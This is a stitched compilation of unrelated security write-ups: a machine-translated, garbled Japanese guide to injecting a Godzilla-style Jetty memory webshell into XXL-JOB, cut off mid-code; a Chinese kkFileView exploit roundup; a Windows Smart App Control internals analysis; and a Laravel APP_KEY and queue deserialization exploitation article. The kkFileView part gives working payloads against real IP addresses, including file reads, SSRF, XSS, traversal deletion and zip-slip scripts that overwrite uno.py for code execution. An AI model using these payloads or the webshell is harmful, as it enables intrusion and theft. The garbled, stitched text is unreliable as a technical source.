ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

HireHackking

kkFileView漏洞总结

0x00 kkFileview存在任意文件读取漏洞

漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFileView" 漏洞证明 r12j2c5w4yr13843.png    http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd yq0vc5iqowd13846.png

0x01 kkFileView SSR 漏洞

洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 洞证明 cseuzspieeb13847.png d4j5j5pkab313851.png http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn r45k2512yci13853.png e2pnl2pymw213854.png        

0x03 kkFileView XSS漏洞

漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D       http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E vxkadhfxnx413857.png   http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D fhzfy4vkm0j13858.png   <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 2sc5hu2hfcz13863.png

0x04 kkFileView任意文件上传导致xss和文件包含漏洞

漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明

1、上传文件

 

eh3gubz33p013865.png  

 

 

1g4osmdvwds13867.png  

 

2、访问漏洞位置
http://139.9.101.60:8012/demo/2.html

 

me0mdnepcgr13868.png   rmzje3fvj5f13871.png  

2.文件包含:

https://file.keking.cn/demo/test1.js
image
访问:
https://file.keking.cn/demo/test14.html
image

 

0x05 kkFileView任意文件删除漏洞

漏洞描述

kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除

漏洞影响

kkFileview= v4.0.0

漏洞证明

/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 31el1s2l2qw13878.png ceiqsllq5a413881.png

0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞

漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响

任意文件上传
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ueeeeee'
        binary2 = b'hacked_by_1ue'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

img

上传文件并预览

img

img

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意的zip包 上传并预览

img

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

img

可以看到命令成功被执行

img

uno.py中也确实被写入了内容

   

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。

Laravel 是一個廣泛使用的開源PHP Web 框架。它可用於相對輕鬆地創建複雜的Web 應用程序,並在許多流行的項目中使用。

在最近對該應用程序的滲透測試中,我們獲得了對框架環境文件的訪問權限。該文件包含許多敏感的Laravel 配置設置,包括應用程序APP_KEY 。

APP_KEY 用於多個與安全相關的任務,在過去,APP_KEY的信息是獲得遠程代碼執行的可靠方法,因為它用於對(序列化的)XSRF令牌簽名。了解APP_KEY的攻擊者能夠創建惡意的XSRF令牌,然後使用已知的小工具鏈,通過不安全的反序列化(CVE-2018-15133)導致RCE。

由於Lavel 5.6.30 默認禁用cookie 序列化。因此,APP_KEY不再授予一個有保證的RCE,攻擊者需要在攻擊路徑上更有創意一點。在這篇文章中,我們會重點介紹攻擊者可以利用洩露的環境文件利用的一些替代攻擊媒介。

APP_KEY 基礎知識Laravel 期望它的環境文件.env 在應用程序的根文件夾中。該文件包含幾個Laravel 配置設置,包括APP_KEY、數據庫憑據和常規設置等機密信息。文件內容的洩露(例如通過任意文件讀取漏洞)會產生嚴重影響,因為洩露的信息可能會以多種方式被濫用。

最顯著的秘密是APP_KEY,它經常可以被濫用來獲得RCE。使用APP_KEY 的最值得注意的函數是:

1.Laravel 的默認“encrypt()”和“decrypt()”函數。如果開發人員想要加密或解密任何值或對象,那麼他們很可能會使用這些函數。它們也被用來加密Laravel的會話cookie,從而進行篡改保護。

2.Laravel 還具有創建防篡改簽名URL 的內置功能。此外,大多數簽名函數使用應用程序APP_KEY 作為機密。

3.在復雜的Web 應用程序中,你可能會看到需要對時間不敏感的任務進行排隊(例如發送提醒郵件)。這樣的任務可以通過Laravel 隊列來處理。由於隊列對象可能存儲在外部,它們也使用APP_KEY 進行簽名。

我們將簡要討論過去利用APP_KEY的方式和原因,以及當前最常用的利用方式。然後,我們將詳細討論通過Laravel隊列提供程序進行攻擊的情況,它允許攻擊者利用Laravel實例,甚至不需要APP_KEY。

Laravel隊列可以通過各種隊列提供程序實現,如Amazon SQS,Redis,local等,在我們的示例中,我們將重點討論如何利用在Amazon SQS中實現的隊列。

過去的攻擊媒介讓我們首先快速了解一下過去Laravel是如何通過不安全的反序列化被利用的。在5.6.30版本之前,Laravel默認對Laravel會話cookie進行序列化和反序列化。與許多其他語言一樣,這為反序列化攻擊打開了大門。

一旦攻擊者獲得對APP_KEY 的訪問權限,他們還可以將任意對象簽名或加密為cookie。攻擊者可以簡單地使用已知的PHP 小工具鏈(例如PHPGGC)創建一個惡意序列化對象,對惡意對象進行簽名,然後將其發送到會話cookie 的位置。 Laravel 試圖反序列化惡意製作的會話cookie,並觸發了小工具鏈的安全相關副作用(通常是RCE)。

在2018 年8 月發布的Laravel v5.6.30 之前,這種利用路徑是可能的。

負責解密cookie的代碼(Laravel 5.4)可以在以下中間軟件代碼片段中找到。中間軟件提取cookie,並將它們發送到加密器類進行解密。

1.png

乍一看,這段代碼似乎還不錯。然而,decrypt()函數有第二個默認參數unserialize=true(請參閱Laravel API 文檔),它定義了在解密過程中必須對傳遞的(加密的)值進行反序列化。

2.png

可以看到,解密後Laravel 嘗試反序列化攻擊者控制的cookie(惡意序列化對象),這會觸發PHPGGC 小工具鏈的安全相關副作用。現在cookie 處理行為已經改變,Laravel調用解密函數時無需對內容進行反序列化。這可以防止先前已知的帶有洩露APP_KEY 的簡單利用路徑:

3.png

目前的利用由於現在的利用並不那麼簡單,我們需要一些其他的攻擊媒介。

濫用其他不安全的“decrypt()”調用在理想的攻擊場景中,易受攻擊的Laravel 應用程序仍然會簡單地反序列化一個用戶控制的對象,該對象受APP_KEY 的篡改保護。當我們分析一些流行的Laravel 應用程序和擴展時,我們注意到一些開發人員犯了與Laravel 的會話cookie 相同的錯誤。因為“decrypt(…)”函數默認反序列化對象,所以開發人員很容易忽略將攻擊者控制的加密內容輸入其中,即使他們並不期望得到PHP對象。

例如,Laravel Package 的OPcache 就是這種情況,這是一個幫助開發人員處理PHP OPcache 的插件。該軟件包安裝了一個中間軟件控制器,用於處理對laravel-opcache 的所有請求。 opcache 處理程序通過提取和解密密鑰URL 參數來執行授權檢查。這是通過使用默認的“解密”函數而不禁用值的反序列化來完成的。在以下代碼片段的第13 行中,可以看到如何使用默認值$unserialize=true 解密密鑰值。

4.png

如果攻擊者知道APP_KEY ,他們可以通過以下方式利用易受攻擊的Laravel 實例:

1.創建惡意的序列化PHP對象;

2.使用洩漏的APP_KEY加密對象;

3.將有效負載發送到易受攻擊的opcache處理程序:https://

4.應用程序將嘗試不安全地解密攻擊者控制的對象。

利用Laravel 隊列以下漏洞利用路徑在Laravel 8 和Laravel 9.2.0 上進行了測試。

按照設計,Laravel 隊列需要在(外部)隊列提供程序中臨時存儲任務和對象。為了防止在靜止時被篡改,這些對象的部分簽名都是使用APP_KEY的。

在研究中,我們發現Laravel 在簽名驗證檢查之前不安全地處理隊列對象。這允許任何可以訪問配置隊列(例如AWS SQS 訪問)的攻擊者獲得遠程代碼執行,即使不知道APP_KEY。

要理解這個問題,我們需要對隊列對象結構有一個大致的了解。通常,隊列對象包含以下(對我們來說很重要)元素:

job -將作業排隊的類;

data -保存我們將執行的實際隊列命令的數據對象;

data.commandName -命令的名稱;

data.command -作為序列化對象的實際命令;

data.command.hash - data.command 的簽名,防止篡改。

5.png

命令對象包含一個哈希,它確保序列化的對像沒有被篡改。但是,由於哈希是序列化PHP 對象的一部分,因此只能在對象未序列化後執行此檢查。

因此,在執行對命令對象的非序列化調用時沒有事先進行任何驗證,這導致了不安全的反序列化漏洞。

隊列命令的不安全反序列化攻擊者可以通過將惡意作業注入Laravel 隊列來利用命令對象的不安全反序列化。

我們使用Laravel 框架本身實現了一個PoC 漏洞利用,這樣我們就可以輕鬆地重用該功能而無需大量複製粘貼。在Laravel 中,你可以使用dispatch 函數將對象分派到隊列中,如下面的代碼片段所示。

6.png

隊列對像在Illuminate 類Illuminate\Queue\Queue 中處理。此類處理隊列對象的創建,該隊列對象將被序列化並稍後發送到隊列中。出於利用目的,我們可以修復createObjectPayload() 函數。在修復的函數中,我們將合法的命令對象替換為惡意製作的序列化對象。

7.png

在示例中,我們使用了來自PHP 反序列化庫PHPGGC 的PendingBroadcast Gadget 鏈(Laravel/RCE9)。

特別是,我們使用了這個鏈,因為它在所有最近的Laravel版本中都有效,並且在鏈中使用了魔術方法__destruct。基於__toString 魔術方法的小工具鏈不起作用,因為Queue 處理程序從不將我們的惡意Queue 對像作為字符串處理,因此不會觸發這些鏈。

如果我們現在看一下作業對象,我們將在命令部分看到我們的反序列化小工具。因為我們以一種非常快速和不方便的方式替換了命令對象,所以對像沒有使用哈希簽名。然而,這無關緊要,因為一旦命令被反序列化,目標就會被利用。

微信截图_20220921100706.png

此時我們只需要等到目標處理隊列中的惡意作業即可。在此過程中,應用程序將嘗試通過從作業對像中反序列化命令對象來獲取命令對象。以下代碼片段顯示瞭如何在作業命令上調用反序列化函數。

請注意,Laravel 還允許用戶使用加密的命令對象。如前所述,加密或解密需要有效的APP_KEY 才能利用。但是,只要我們的命令以字符串O: 開頭(表示序列化PHP 對像中的“對象”),Laravel 將始終嘗試以明文形式反序列化我們的攻擊者控制的命令(第4-6 行)。

9.png

攻擊者控制的命令成功反序列化後,隊列例程繼續。稍後,Laravel 注意到命令對像沒有預期的格式。應用程序將拋出異常,然後嘗試清理無效的惡意對象。在清理過程中,我們的小工具鏈的魔術方法__destroy 被調用,攻擊者控制的命令touch /tmp\/pwnedThroughQueue 被執行。

10.webp.jpg

總而言之,Laravel 在調用對象的反序列化之前不會驗證隊列作業中的命令對象。因此,有權訪問隊列(SQS、Redis 等)的攻擊者可以在不知道APP_KEY 的示例中獲得RCE。如果攻擊者通過不公開APP_KEY 的漏洞獲得對隊列的訪問權限,則這種攻擊場景特別有趣。 (例如,隊列連接的硬編碼或易於猜測的憑據,或洩露的AWS 訪問令牌)。

利用由於隊列閉包的任意作用域此漏洞利用路徑也適用於Laravel 隊列閉包。閉包是“需要在當前請求週期之外執行的簡單任務”,它們允許攻擊者通過隊列執行任意PHP 代碼。

然而,在本例中,攻擊者需要訪問隊列和APP_KEY。如果Laravel 環境文件被公開,則通常會滿足這些條件,因為該文件包含所有必要的信息。與前面的示例不同,這種方法不依賴於反序列化,因此如果沒有可用的小工具鏈可用,它也可以工作。

如下所示,可以使用以下代碼片段將閉包分派到隊列中:

11.png

